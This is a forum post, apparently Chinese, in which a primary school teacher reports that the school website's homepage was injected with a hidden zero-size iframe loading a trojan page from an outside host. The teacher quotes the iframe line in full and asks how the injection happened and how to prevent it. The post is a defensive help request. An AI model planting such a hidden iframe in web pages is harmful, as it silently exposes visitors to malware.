学校的网站首页被用iframe语句嵌入它的带有木马的网页!
本人是一小学教师,个人爱好自学为学校做了个校园网,平时也能手动清除一些常见病毒。
但前几天进入学校网站瑞星实时监控拦截了一个病毒,
文件路径:C:\Documents Settings\Administrator\Local Settings\Temprary Internet files
病毒来源:本机 病毒名称:Exploit.HTML.mht.bb
我查看了网页的源代码,发现多了一些代码,如下:
<iframe src="http://web.163.sh.cn/~ling520/sp2/sp2.htm" width="0" height="0" frameborder="0"></iframe>
打开学校网站的同时也打开了它带有木马的网页,而且设置为不可见(width="0" height="0")
手动清毒后,我重新上传了首页。问题得到解决。
这已经是第二次了,上一次好象是好多个月之前或是一年前?(记不得了)
是我机子中毒了,才会这样呢,还是这个该死的人利用网站什么漏洞进入网面进行更改,还是用什么工具进入注入?
我总得预防吧,不然老是出现这种情况,万一哪些缺乏病毒知识又没装杀毒软件和防火墙的人进入校园网中了毒,那我不成罪魁祸首了啊。
注:学校网站空间挂在市教育上,我的网页都是htm,留言本是网上下载的asp。